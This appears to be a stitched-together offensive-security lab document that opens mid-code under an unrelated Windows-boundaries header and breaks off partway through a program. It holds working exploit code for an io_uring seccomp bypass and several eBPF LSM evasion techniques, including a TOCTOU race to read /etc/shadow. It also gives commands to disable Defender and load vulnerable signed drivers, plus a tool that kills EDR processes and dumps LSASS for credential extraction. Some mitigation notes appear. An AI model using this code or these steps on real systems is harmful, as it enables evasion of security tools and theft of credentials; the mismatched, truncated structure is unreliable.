Windows security boundary taxonomy and attack surface enumeration: kernel/user boundary, sandbox boundaries (LPAC, AppContainer), COM/RPC boundaries, hypervisor boundary, trust level transitions. Use when planning privilege escalation paths, sandbox escapes, or understanding Windows security architecture.
Use this skill when the conversation involves any of:Windows boundaries, security boundary, kernel user boundary, sandbox escape, AppContainer, LPAC, COM boundary, RPC boundary, hypervisor, Hyper-V, privilege escalation, trust level
When this skill is active:
------------------------------------------\n");
// Print first few lines
char *line = buf;
int lines = 0;
for (int i = 0; i < nread && lines < 5; i++) {
if (buf[i] == '\n') {
buf[i] = '\0';
printf(" │ %s\n", line);
line = &buf[i + 1];
lines++;
}
}
printf(" ---------------------------------------------\n");
// Close via io_uring
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPCLOSE;
sqe.fd = fd;
ringsubmitand_wait(ring, &sqe);
return nread;
}
// ── BYPASS 2: Network connect via io_uring (bypasses blocked connect) ──
int bypassnetworkconnect(struct io_ring ring, const char ip, int port) {
printf("\n[*] BYPASS: Connecting to %s:%d via io_uring...\n", ip, port);
printf(" (connect + sendto are BLOCKED by seccomp)\n\n");
// Step 1: Verify that normal connect() IS blocked
int testsock = socket(AFINET, SOCK_STREAM, 0);
if (test_sock >= 0) {
struct sockaddr_in addr = {
.sinfamily = AFINET,
.sin_port = htons(port),
};
inetpton(AFINET, ip, &addr.sin_addr);
if (connect(test_sock, (struct sockaddr *)&addr, sizeof(addr)) < 0 &&
errno == EPERM) {
printf(" [*] Confirmed: connect() blocked by seccomp\n");
}
close(test_sock);
}
// Step 2: Create socket (socket() itself may not be blocked,
// but we could also use IORINGOPSOCKET on 5.19+)
int sockfd = socket(AFINET, SOCKSTREAM | SOCK_NONBLOCK, 0);
if (sockfd < 0) {
// Try IORINGOPSOCKET (Linux 5.19+)
struct iouringsqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPSOCKET;
sqe.fd = AF_INET;
sqe.off = SOCK_STREAM;
sqe.len = 0;
sqe.rw_flags = 0;
sockfd = ringsubmitand_wait(ring, &sqe);
if (sockfd < 0) {
printf(" [-] Cannot create socket: %s\n", strerror(-sockfd));
return -1;
}
printf(" [+] Socket created via IORINGOPSOCKET: fd=%d\n", sockfd);
} else {
printf(" [*] Socket created via socket() (not blocked): fd=%d\n", sockfd);
}
// Step 3: Connect via IORINGOPCONNECT - bypasses seccomp!
struct sockaddr_in target = {
.sinfamily = AFINET,
.sin_port = htons(port),
};
inetpton(AFINET, ip, &target.sin_addr);
struct iouringsqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPCONNECT;
sqe.fd = sockfd;
sqe.addr = (unsigned long)⌖
sqe.off = sizeof(target); // addr_len goes in off field
int ret = ringsubmitand_wait(ring, &sqe);
if (ret == 0 || ret == -EINPROGRESS) {
printf(" [+] IORINGOPCONNECT succeeded! (seccomp bypassed)\n");
printf(" [+] Connected to %s:%d via io_uring\n", ip, port);
// Step 4: Send data via IORINGOPSEND (bypasses blocked sendto)
const char *msg = "GET / HTTP/1.0\r\nHost: target\r\n\r\n";
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPSEND;
sqe.fd = sockfd;
sqe.addr = (unsigned long)msg;
sqe.len = strlen(msg);
int sent = ringsubmitand_wait(ring, &sqe);
if (sent > 0) {
printf(" [+] IORINGOPSEND: sent %d bytes (seccomp bypassed)\n", sent);
}
// Step 5: Receive response via IORINGOPRECV
char recvbuf[2048];
memset(recvbuf, 0, sizeof(recvbuf));
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPRECV;
sqe.fd = sockfd;
sqe.addr = (unsigned long)recvbuf;
sqe.len = sizeof(recvbuf) - 1;
int recvd = ringsubmitand_wait(ring, &sqe);
if (recvd > 0) {
printf(" [+] IORINGOPRECV: received %d bytes\n", recvd);
printf(" [*] Response: %.80s...\n", recvbuf);
}
} else {
printf(" [-] IORINGOPCONNECT failed: %s (%d)\n",
strerror(-ret), ret);
printf(" [*] Target may not be listening, or kernel 6.6+ blocks this\n");
}
// Close
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPCLOSE;
sqe.fd = sockfd;
ringsubmitand_wait(ring, &sqe);
return 0;
}
// ── BYPASS 3: Write file via io_uring (data exfiltration) ────
int bypassfilewrite(struct io_ring ring, const char path, const char *data) {
printf("\n[*] BYPASS: Writing to '%s' via io_uring...\n", path);
// Open for writing via io_uring
struct iouringsqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPOPENAT;
sqe.fd = AT_FDCWD;
sqe.addr = (unsigned long)path;
sqe.openflags = OWRONLY | OCREAT | OTRUNC;
sqe.len = 0644; // mode
int fd = ringsubmitand_wait(ring, &sqe);
if (fd < 0) {
printf(" [-] IORINGOPOPENAT (write) failed: %s\n", strerror(-fd));
return -1;
}
// Write via io_uring
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPWRITE;
sqe.fd = fd;
sqe.addr = (unsigned long)data;
sqe.len = strlen(data);
sqe.off = 0;
int written = ringsubmitand_wait(ring, &sqe);
if (written > 0) {
printf(" [+] Wrote %d bytes via IORINGOPWRITE (seccomp bypassed)\n",
written);
}
// Close
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORINGOPCLOSE;
sqe.fd = fd;
ringsubmitand_wait(ring, &sqe);
return written;
}
void showaffectedapplications() {
printf("\n[*] Applications vulnerable to io_uring seccomp bypass:\n\n");
printf("Container Runtimes:\n");
printf(" - Docker (default seccomp profile allowed io_uring until 2023)\n");
printf(" - Kubernetes (depends on SecurityContext)\n");
printf(" - containerd/runc\n\n");
printf("Browser Sandboxes:\n");
printf(" - Chromium (renderer sandbox may allow iouringsetup)\n");
printf(" - Firefox (depends on configuration)\n\n");
printf("Other Sandboxed Apps:\n");
printf(" - Flatpak applications\n");
printf(" - Snap packages\n");
printf(" - systemd sandboxed services (SystemCallFilter=)\n\n");
printf("MITIGATION:\n");
printf(" - sysctl iouringdisabled=2 (block for unprivileged users)\n");
printf(" - Add __NRiouring_setup to seccomp deny list\n");
printf(" - Use Landlock LSM for filesystem restrictions (not syscall-based)\n");
printf(" - Upgrade to Linux 6.6+ (seccomp enforcement for io_uring ops)\n");
}
int main() {
printf(" io_uring seccomp Bypass\n");
// Phase 1: Set up io_uring BEFORE installing seccomp
// (iouringsetup itself might be blocked by seccomp, so init first)
struct io_ring ring;
if (ring_init(&ring, 16) < 0) {
printf("[-] iouringsetup failed - not available on this kernel\n");
printf("[*] Requires Linux 5.1+ with io_uring enabled\n");
return 1;
}
printf("[+] iouring ring initialized (fd=%d)\n", ring.ringfd);
// Phase 2: Install seccomp sandbox that blocks open/read/write/connect
printf("[*] Installing seccomp sandbox...\n");
installseccompsandbox();
// Phase 3: Demonstrate that normal syscalls are blocked
printf("\n[*] Verifying sandbox enforcement:\n");
int test = syscall(__NRopenat, ATFDCWD, "/etc/hostname", O_RDONLY, 0);
printf(" openat(\"/etc/hostname\") = %d (errno=%d %s)\n",
test, errno, test < 0 ? "BLOCKED +" : "allowed?!");
// Phase 4: Bypass with io_uring!
printf("NOW BYPASSING SECCOMP VIA io_uring:\n");
// File read bypass - read /etc/hostname despite blocked openat+read
bypassfileread(&ring, "/etc/hostname");
// File read bypass - try reading /etc/shadow (needs root)
if (geteuid() == 0) {
bypassfileread(&ring, "/etc/shadow");
}
// File write bypass - write a proof file
bypassfilewrite(&ring, "/tmp/uringbypassproof.txt",
"Written via io_uring - seccomp was bypassed!\n");
// Network bypass - connect to localhost:8080 (if anything listens)
bypassnetworkconnect(&ring, "127.0.0.1", 8080);
showaffectedapplications();
printf("\n-----------------------------------------------------\n");
printf("RESULT: Performed file I/O and network I/O despite seccomp\n");
printf("blocking openat, read, write, connect, and sendto.\n");
printf("io_uring submission queue operations execute in kernel\n");
printf("worker context - seccomp BPF never inspects them.\n");
printf("-------------------------------------------------------\n");
// Cleanup
munmap(ring.sqringptr, ring.sqringsz);
munmap(ring.sqes, ring.sqes_sz);
munmap(ring.cqringptr, ring.cqringsz);
close(ring.ring_fd);
return 0;
}
**Compile and Run**:
```bash
cd ~/offensive_lab
gcc -o seccomp_io_uring_bypass seccomp_io_uring_bypass.c -lpthread
# in terminal 1
python3 -m http.server 8080
# in terminal 2
./seccomp_io_uring_bypass
# try enabling mitigation and test again
sudo sysctl -w kernel.io_uring_disabled=2
./seccomp_io_uring_bypass
// ~/offensive_lab/ebpf_lsm_evasion.c
// Compile: gcc -o ebpf_lsm_evasion ebpf_lsm_evasion.c -lpthread
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/uio.h> // for struct iovec, process_vm_readv
#include <linux/openat2.h> // for struct open_how
// TECHNIQUE 1: execveat() as alternative to execve()
// BPF LSM hooks: security_bprm_check_security
// But execveat with AT_EMPTY_PATH takes a different code path
// through the kernel that some BPF LSM policies miss.
int try_execveat(const char* binary) {
printf("[1] execveat() bypass for blocked execve()\n");
// Open the binary as a file descriptor first
int fd = open(binary, O_RDONLY | O_CLOEXEC);
if (fd < 0) {
printf(" [-] open(%s) failed: %s\n", binary, strerror(errno));
return -1;
}
printf(" [*] Opened %s as fd %d\n", binary, fd);
printf(" [*] Attempting execveat(fd, \"\", ..., AT_EMPTY_PATH)\n");
// execveat with AT_EMPTY_PATH executes the fd directly
// This bypasses filename-based BPF LSM checks because
// the LSM hook receives an empty path string
char *argv[] = { (char*)binary, NULL };
char *envp[] = { NULL };
// Fork so we don't replace ourselves
pid_t pid = fork();
if (pid == 0) {
syscall(SYS_execveat, fd, "", argv, envp, AT_EMPTY_PATH);
perror(" [-] execveat failed");
_exit(1);
} else if (pid > 0) {
int status;
waitpid(pid, &status, 0);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
printf(" [+] execveat succeeded - LSM hook bypassed!\n");
} else {
printf(" [-] execveat child exited with status %d\n",
WEXITSTATUS(status));
}
}
close(fd);
return 0;
}
// TECHNIQUE 2: openat2() with RESOLVE_NO_SYMLINKS
// Newer syscall that some BPF LSM policies don't hook
int try_openat2(const char* path) {
printf("\n[2] openat2() bypass for blocked open()/openat()\n");
struct open_how how = {
.flags = O_RDONLY,
.mode = 0,
.resolve = RESOLVE_NO_SYMLINKS, // Stricter path resolution
};
// openat2 is syscall 437 on x86_64
int fd = syscall(SYS_openat2, AT_FDCWD, path, &how, sizeof(how));
if (fd >= 0) {
printf(" [+] openat2(%s) succeeded - fd %d\n", path, fd);
// Read first 64 bytes as proof
char buf[65] = {0};
ssize_t n = read(fd, buf, 64);
if (n > 0)
printf(" [+] Read %zd bytes: %.32s...\n", n, buf);
close(fd);
return 0;
} else {
printf(" [-] openat2 failed: %s\n", strerror(errno));
return -1;
}
}
// TECHNIQUE 3: memfd_create + in-memory execution
// Bypass filesystem-based LSM checks entirely by never
// touching the filesystem - write ELF to memory, execute it
int try_memfd_exec(const char* source_binary) {
printf("\n[3] memfd_create() - execute binary from memory\n");
// Step 1: Read the source binary into a buffer
int src = open(source_binary, O_RDONLY);
if (src < 0) {
printf(" [-] Cannot read source binary: %s\n", strerror(errno));
return -1;
}
struct stat st;
fstat(src, &st);
void* buf = malloc(st.st_size);
read(src, buf, st.st_size);
close(src);
printf(" [*] Read %ld bytes from %s\n", st.st_size, source_binary);
// Step 2: Create anonymous memory-backed file descriptor
// MFD_CLOEXEC ensures fd doesn't leak to child processes
int memfd = syscall(SYS_memfd_create, "worker", MFD_CLOEXEC);
if (memfd < 0) {
printf(" [-] memfd_create failed: %s\n", strerror(errno));
free(buf);
return -1;
}
// Step 3: Write binary to memfd (no filesystem write!)
write(memfd, buf, st.st_size);
free(buf);
printf(" [+] Binary written to memfd (fd %d) - no disk I/O\n", memfd);
// Step 4: Execute via /proc/self/fd/N or fexecve
// BPF LSM file_open/security_bprm_check may not fire for memfd
pid_t pid = fork();
if (pid == 0) {
char fd_path[64];
snprintf(fd_path, sizeof(fd_path), "/proc/self/fd/%d", memfd);
char *argv[] = { (char*)source_binary, "--version", NULL };
char *envp[] = { NULL };
execve(fd_path, argv, envp);
perror(" [-] memfd execve failed");
_exit(1);
} else if (pid > 0) {
int status;
waitpid(pid, &status, 0);
printf(" [*] memfd child exited with status %d\n",
WEXITSTATUS(status));
}
close(memfd);
return 0;
}
// TECHNIQUE 4: process_vm_readv/writev instead of ptrace
// If ptrace is blocked by BPF LSM but process_vm_* is not
int try_process_vm_read(pid_t target_pid) {
printf("\n[4] process_vm_readv() bypass for blocked ptrace()\n");
// Read 256 bytes from target process's stack region
// Find a readable address from /proc/pid/maps
char maps_path[64];
snprintf(maps_path, sizeof(maps_path), "/proc/%d/maps", target_pid);
FILE* f = fopen(maps_path, "r");
if (!f) {
printf(" [-] Cannot read %s: %s\n", maps_path, strerror(errno));
return -1;
}
unsigned long addr = 0;
char line[512];
while (fgets(line, sizeof(line), f)) {
// Find first readable mapping (e.g., [stack] or r-- region)
if (strstr(line, "r-") || strstr(line, "r--")) {
sscanf(line, "%lx-", &addr);
break;
}
}
fclose(f);
if (!addr) {
printf(" [-] No readable mapping found\n");
return -1;
}
printf(" [*] Target PID %d, reading from 0x%lx\n", target_pid, addr);
// Set up iovec structures for process_vm_readv
char local_buf[256] = {0};
struct iovec local_iov = { .iov_base = local_buf, .iov_len = 256 };
struct iovec remote_iov = { .iov_base = (void*)addr, .iov_len = 256 };
ssize_t nread = process_vm_readv(target_pid, &local_iov, 1,
&remote_iov, 1, 0);
if (nread > 0) {
printf(" [+] process_vm_readv succeeded! Read %zd bytes\n", nread);
printf(" [+] ptrace() LSM hook bypassed\n");
// Hexdump first 32 bytes
printf(" [*] First 32 bytes: ");
for (int i = 0; i < 32 && i < nread; i++)
printf("%02x", (unsigned char)local_buf[i]);
printf("\n");
} else {
printf(" [-] process_vm_readv failed: %s\n", strerror(errno));
}
return 0;
}
// TECHNIQUE 5: TOCTOU race against BPF LSM path checks
// Challenge the LSM by changing a symlink between check and use
static volatile int race_running = 1;
void* race_symlink_thread(void* arg) {
const char* link_path = (const char*)arg;
const char* safe = "/dev/null";
const char* target = "/etc/shadow";
while (race_running) {
unlink(link_path);
symlink(safe, link_path); // Pass the BPF check
usleep(1); // Tight window
unlink(link_path);
symlink(target, link_path); // Swap to real target
usleep(1);
}
return NULL;
}
int try_toctou_race(void) {
printf("\n[5] TOCTOU race against BPF LSM path validation\n");
printf(" [*] Concept: BPF LSM checks path at hook time.\n");
printf(" If symlink changes between check and use,\n");
printf(" we access the real target with the safe verdict.\n");
char link_path[] = "/tmp/lsm_race_XXXXXX";
// mktemp is fine here - we want a known path we control
mktemp(link_path);
printf(" [*] Race link: %s\n", link_path);
printf(" [*] Swapping between /dev/null <-> /etc/shadow\n");
pthread_t racer;
pthread_create(&racer, NULL, race_symlink_thread, link_path);
// Try opening the link repeatedly - some attempts may
// pass the BPF check (seeing /dev/null) but actually
// open the real target (/etc/shadow) due to the race
int success = 0;
for (int i = 0; i < 10000; i++) {
int fd = open(link_path, O_RDONLY);
if (fd >= 0) {
char buf[64] = {0};
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
// Check if we got shadow file content (starts with "root:")
if (n > 0 && strncmp(buf, "root:", 5) == 0) {
success++;
if (success == 1)
printf(" [+] RACE WON at iteration %d!\n", i);
}
}
}
race_running = 0;
pthread_join(racer, NULL);
unlink(link_path);
if (success > 0)
printf(" [+] Race succeeded %d times out of 10000 attempts\n", success);
else
printf(" [-] Race did not succeed (BPF may recheck, or need root)\n");
return success;
}
int main(int argc, char* argv[]) {
// Technique 1: execveat bypass
try_execveat("/usr/bin/id");
// Technique 2: openat2 bypass
try_openat2("/etc/hostname");
// Technique 3: memfd in-memory execution
try_memfd_exec("/usr/bin/echo");
// Technique 4: process_vm_readv bypass (read our own process)
try_process_vm_read(getpid());
// Technique 5: TOCTOU race (requires root for /etc/shadow read)
if (geteuid() == 0) {
try_toctou_race();
} else {
printf("\n[5] TOCTOU race - skipped (requires root)\n");
}
printf("SUMMARY: Test each technique against your BPF LSM config.\n");
printf("Most policies hook the 'obvious' path (execve, open, ptrace)\n");
printf("but miss newer alternatives (execveat, openat2, process_vm_*).\n");
printf("Also consider: io_uring ops bypass BPF LSM entirely on\n");
printf("kernels < 6.6 (see io_uring lab in this course).\n");
return 0;
}
Windows AMSI Bypass:
NtProtectVirtualMemory to patch AmsiScanBufferLinux Security Bypass:
io_uring_disabled=0, bypass works on 6.6+execveat, openat2, process_vm_readv, memfd_createsysctl -w kernel.io_uring_disabled=2Cross-Platform Insights:
NtProtectVirtualMemory calls targeting amsi.dll memory regionsAmsiScanBuffer returning E_INVALIDARG repeatedlyio_uring_disabled=2 to fully mitigateio_uring_setup() syscalls in sandboxed processesio_uring_disabled=2)io_uring_disabled=2 + Landlock LSM + AppArmor/SELinuxWindows uses PPL to protect:
Even as Administrator, you cannot inject into or dump memory from PPL processes. Red teamers need to bypass this.
```bash
Set-MpPreference -DisableRealtimeMonitoring $true
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object -ExpandProperty SecurityServicesRunning
```
Step 1: Download Drivers from LOLDrivers
# Create drivers directory
New-Item -ItemType Directory -Path "C:\Windows_Mitigations_Lab\drivers" -Force
cd C:\Windows_Mitigations_Lab\drivers
# Download K7RKScan.sys (K7 Computing - CVE-2025-52915)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/b16e217cdca19e00c1b68bdfb28ead53b20adeabd6edcd91542f9fbf48942877.bin" -OutFile "K7RKScan.sys"
# Download ksapi64.sys (Kingsoft)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/a7681a49d1ac6efb31409f17a7011a8b.bin" -OutFile "ksapi64.sys"
# Download BdApiUtil64.sys (Baidu)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/29e1264dd642b646fbef9bd347b1b860.bin" -OutFile "BdApiUtil64.sys"
# Download wamsdk.sys (WatchDog - newest, 2025)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/b6b51508ad6f462c45fe102c85d246c8.bin" -OutFile "wamsdk.sys"
# Verify signatures
Get-AuthenticodeSignature .\*.sys
Understanding the Attack Flow
┌─────────────────────────────────────────────────────────────────┐
│ PPL Bypass Attack Strategies │
├─────────────────────────────────────────────────────────────────┤
│ │
│ STRATEGY 1: Kill EDR/AV -> Dump LSASS (Recommended) │
│ ───────────────────────────────────────────────── │
│ 1. Use process termination driver to kill: │
│ - MsMpEng.exe (Windows Defender) - PPL-Antimalware │
│ - CrowdStrike, SentinelOne, Carbon Black agents │
│ - These are PPL but NOT critical processes │
│ 2. With EDR dead, dump LSASS normally: │
│ - MiniDumpWriteDump() now succeeds │
│ - No hooks to detect the dump │
│ │
│ STRATEGY 2: Crash System -> Extract from Dump │
│ ───────────────────────────────────────────── │
│ 1. Enable crash dumps: CrashDumpEnabled = 1 │
│ 2. Kill LSASS -> System crashes │
│ 3. After reboot, parse C:\Windows\MEMORY.DMP │
│ 4. Use volatility3: windows.hashdump │
│ │
│ STRATEGY 3: EPROCESS Patching (Best for LSASS) │
│ ───────────────────────────────────────────── │
│ 1. Use memory R/W driver (RTCore64, DBUtil) │
│ 2. Find LSASS EPROCESS in kernel memory │
│ 3. Zero the Protection field │
│ 4. Dump LSASS normally - no crash! │
│ │
└─────────────────────────────────────────────────────────────────┘
Step 2: Load and Use BdApiUtil64.sys
# Copy to drivers folder
Copy-Item "C:\Windows_Mitigations_Lab\drivers\BdApiUtil64.sys" -Destination "C:\Windows\System32\drivers\BdApiUtil64.sys"
# Create and start service
sc.exe create BdApiUtil64 type=kernel binPath="C:\Windows\System32\drivers\BdApiUtil64.sys"
sc.exe start BdApiUtil64
# Verify it's running
sc.exe query BdApiUtil64
Step 1: Load RTCore64.sys
# Download RTCore64.sys
Invoke-WebRequest -Uri "https://github.com/Processus-Thief/PsNotifRoutineUnloader/raw/main/RTCore64.sys" -OutFile "C:\Windows_Mitigations_Lab\drivers\RTCore64.sys"
# Copy and load
Copy-Item "C:\Windows_Mitigations_Lab\drivers\RTCore64.sys" -Destination "C:\Windows\System32\drivers\RTCore64.sys"
sc.exe create RTCore64 type=kernel binPath="C:\Windows\System32\drivers\RTCore64.sys"
sc.exe start RTCore64
# Verify
sc.exe query RTCore64
Cleanup After Testing
# Stop and remove all test drivers
$drivers = @("K7RKScan", "ksapi64", "BdApiUtil64", "wamsdk", "RTCore64")
foreach ($drv in $drivers) {
sc.exe stop $drv 2>$null
sc.exe delete $drv 2>$null
Remove-Item "C:\Windows\System32\drivers\$drv.sys" -Force -ErrorAction SilentlyContinue
}
# Disable test signing
bcdedit /set testsigning off
bcdedit /set nointegritychecks off
# Re-enable Defender
Set-MpPreference -DisableRealtimeMonitoring $false
Restart-Computer
┌─────────────────────────────────────────────────────────────────┐
│ Protected Process Light (PPL) │
├─────────────────────────────────────────────────────────────────┤
│ │
│ PPL Signer Levels (highest to lowest): │
│ ───────────────────────────────────── │
│ WinSystem (7) - Highest, kernel-level │
│ WinTcb (6) - Trusted Computer Base │
│ Windows (5) - Windows components │
│ Lsa (4) - LSASS specifically │
│ Antimalware (3) - AV/EDR processes │
│ Authenticode (2) - Signed by trusted CA │
│ CodeGen (1) - .NET native images │
│ None (0) - No protection │
│ │
│ Access Control: │
│ ├── Lower PPL cannot access higher PPL │
│ ├── Non-PPL cannot access any PPL │
│ └── Even Admin cannot inject into PPL processes │
└─────────────────────────────────────────────────────────────────┘
// ppl_checker.c - Check PPL status of processes
// Compile: cl src\ppl_checker.c /Fe:bin\ppl_check.exe advapi32.lib
// Run as Administrator!
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0,
PsProtectedSignerAuthenticode = 1,
PsProtectedSignerCodeGen = 2,
PsProtectedSignerAntimalware = 3,
PsProtectedSignerLsa = 4,
PsProtectedSignerWindows = 5,
PsProtectedSignerWinTcb = 6,
PsProtectedSignerWinSystem = 7,
PsProtectedSignerMax = 8
} PS_PROTECTED_SIGNER;
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1;
UCHAR Signer : 4;
};
};
} PS_PROTECTION;
typedef NTSTATUS (NTAPI *NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
#define ProcessProtectionInformation 61
const char* GetSignerName(UCHAR signer) {
switch (signer) {
case 0: return "None";
case 1: return "Authenticode";
case 2: return "CodeGen";
case 3: return "Antimalware";
case 4: return "Lsa";
case 5: return "Windows";
case 6: return "WinTcb";
case 7: return "WinSystem";
default: return "Unknown";
}
}
const char* GetTypeName(UCHAR type) {
switch (type) {
case 0: return "None";
case 1: return "PPL";
case 2: return "PP";
default: return "Unknown";
}
}
BOOL IsElevated() {
BOOL elevated = FALSE;
HANDLE token = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
TOKEN_ELEVATION elevation;
DWORD size;
if (GetTokenInformation(token, TokenElevation, &elevation, sizeof(elevation), &size)) {
elevated = elevation.TokenIsElevated;
}
CloseHandle(token);
}
return elevated;
}
void CheckProcessPPL(DWORD pid, const char* name) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
return;
}
NtQueryInformationProcess_t NtQueryInformationProcess =
(NtQueryInformationProcess_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) {
CloseHandle(hProcess);
return;
}
PS_PROTECTION protection = {0};
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess, ProcessProtectionInformation,
&protection, sizeof(protection), &returnLength);
if (status == 0 && protection.Level != 0) {
printf("[%s] %s (PID %d): Signer=%s Level=0x%02X\n",
GetTypeName(protection.Type), name, pid,
GetSignerName(protection.Signer), protection.Level);
}
CloseHandle(hProcess);
}
int main() {
printf("=== PPL Process Scanner ===\n\n");
if (!IsElevated()) {
printf("[!] WARNING: Not running as Administrator!\n");
printf("[!] You may not see all protected processes.\n");
printf("[!] Run as Administrator for complete results.\n\n");
}
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] Failed to create process snapshot: %d\n", GetLastError());
return 1;
}
PROCESSENTRY32 pe = { sizeof(pe) };
printf("Scanning for protected processes...\n\n");
int count = 0;
if (Process32First(hSnapshot, &pe)) {
do {
CheckProcessPPL(pe.th32ProcessID, pe.szExeFile);
count++;
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
printf("\n[*] Scanned %d processes\n", count);
printf("[*] To dump LSASS, you need to bypass PPL-Lsa protection\n");
printf("[*] Options: BYOVD, kernel driver, or PPL bypass techniques\n");
return 0;
}
Compile and Run:
cl src\ppl_checker.c /Fe:bin\ppl_check.exe advapi32.lib
# run from admin powershell
.\bin\ppl_check.exe
The exploit demonstrates PPL bypass, but LSASS must be running as PPL first. If you see Current PPL protection: 0x00, enable it:
Enable RunAsPPL via Registry:
# Enable LSASS PPL protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# Verify the setting
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL
# Reboot required
shutdown /r /t 0
After reboot, verify PPL is active:
# Run the analyzer tool
.\bin\ppl_target_analyzer.exe
# You should see LSASS with:
# Type: Protected Light (PPL)
# Signer: Lsa (LSASS PPL)
# Level: 0x41
Disable PPL (for testing):
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /f
shutdown /r /t 0
To check if PPL is enabled:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
// defender_killer_lsass_dump.c
// Compile: cl src\defender_killer_lsass_dump.c /Fe:bin\defender_killer.exe advapi32.lib dbghelp.lib
//
// Driver: BdApiUtil64.sys (Baidu AntiVirus)
// IOCTL: 0x800024B4 - Terminates any process by PID
// Device: \\.\BdApiUtil
//
// ATTACK FLOW:
// 1. Load BdApiUtil.sys (validly signed, no test signing!)
// 2. Kill Windows Defender (MsMpEng.exe) - PPL but not critical
// 3. Kill other EDR processes if present
// 4. Dump LSASS with MiniDumpWriteDump
// 5. Credentials can be extracted with pypykatz
//
// USAGE:
// 1. Download BdApiUtil64.sys from LOLDrivers
// 2. Place in same directory as this executable
// 3. Run as Administrator
// 4. Parse lsass.dmp with: pypykatz lsa minidump lsass.dmp
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "dbghelp.lib")
// BdApiUtil driver constants
#define BDAPI_DEVICE L"\\\\.\\BdApiUtil"
#define BDAPI_IOCTL 0x800024B4
#define BDAPI_SVC_NAME L"BdApiUtil64"
#define BDAPI_FILENAME L"BdApiUtil64.sys"
// EDR/AV targets - PPL protected but NOT critical (safe to kill)
const wchar_t* g_edr_targets[] = {
L"MsMpEng.exe", // Windows Defender - PRIMARY TARGET
L"MsSense.exe", // Defender ATP
L"SenseCncProxy.exe", // Defender ATP
L"SenseIR.exe", // Defender ATP
L"SecurityHealthService.exe", // Windows Security
L"smartscreen.exe", // SmartScreen
NULL
};
// Global driver handle
HANDLE g_hDriver = INVALID_HANDLE_VALUE;
BOOL IsRunningAsAdmin() {
BOOL isAdmin = FALSE;
PSID adminGroup = NULL;
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
CheckTokenMembership(NULL, adminGroup, &isAdmin);
FreeSid(adminGroup);
}
return isAdmin;
}
DWORD FindProcessByName(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { sizeof(pe) };
DWORD pid = 0;
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, processName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return pid;
}
BOOL LoadBdApiDriver(const wchar_t* driverPath) {
SC_HANDLE hSCManager = NULL;
SC_HANDLE hService = NULL;
BOOL success = FALSE;
printf("[*] Opening Service Control Manager...\n");
hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCManager) {
printf("[-] OpenSCManager failed: %d\n", GetLastError());
return FALSE;
}
// Try to open existing service first
hService = OpenServiceW(hSCManager, BDAPI_SVC_NAME, SERVICE_ALL_ACCESS);
if (!hService) {
printf("[*] Creating service for BdApiUtil...\n");
hService = CreateServiceW(
hSCManager,
BDAPI_SVC_NAME,
BDAPI_SVC_NAME,
